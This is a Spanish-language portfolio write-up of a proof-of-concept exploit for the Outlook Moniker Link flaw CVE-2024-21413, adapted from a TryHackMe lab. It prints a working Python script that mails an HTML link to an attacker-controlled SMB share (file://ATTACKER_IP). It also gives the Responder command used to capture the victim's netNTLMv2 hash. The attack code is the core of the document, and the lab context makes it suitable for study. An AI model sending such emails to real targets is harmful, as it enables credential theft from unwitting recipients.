
Exploit de prueba de concepto para CVE-2024-21413 usando Moniker Link en correo HTML para activar una conexión SMB y capturar hashes netNTLMv2 a través de Responder. Demuestra habilidades en pruebas de penetración, scripting en Python y análisis de protocolos de red.
Resumen: Un PoC práctico que demuestra el uso de un Moniker Link en un correo HTML para desencadenar una conexión SMB desde Outlook, permitiendo capturar el hash netNTLMv2 de la víctima mediante Responder. Esto demuestra habilidades prácticas en pruebas de penetración, scripting y análisis de protocolos de red.
file://) que apunta al recurso compartido SMB del atacante.# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124' # THM SMTP server
password = input('Enter attacker email password: ')
html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'
msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))
with smtplib.SMTP(mailserver, 25) as s:
s.ehlo()
s.login(sender, password)
s.sendmail(sender, [receiver], msg.as_string())
print('Email delivered')
Consejo: Reemplaza ATTACKER_IP y mailserver antes de ejecutar. En el laboratorio de TryHackMe, la contraseña es attacker.
responder -I ens5
Reemplaza ens5 con el nombre de tu interfaz de red.
/etc/resolv.confA veces Responder falla debido a enlaces simbólicos rotos en /etc/resolv.conf. Soluciónalo con:
rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf
Habilidades destacadas: Solución de problemas en Linux, configuración de DNS y adaptación de herramientas a entornos de nube/MV.
Error / Problema con resolv.conf:

Corrección de DNS aplicada:

Script de correo en Python:

Entrega del exploit:

Bandeja de entrada de la víctima:

Hash capturado de la víctima:

Adaptado del laboratorio MonikerLink de TryHackMe y del PoC original de CMNatic (GitHub)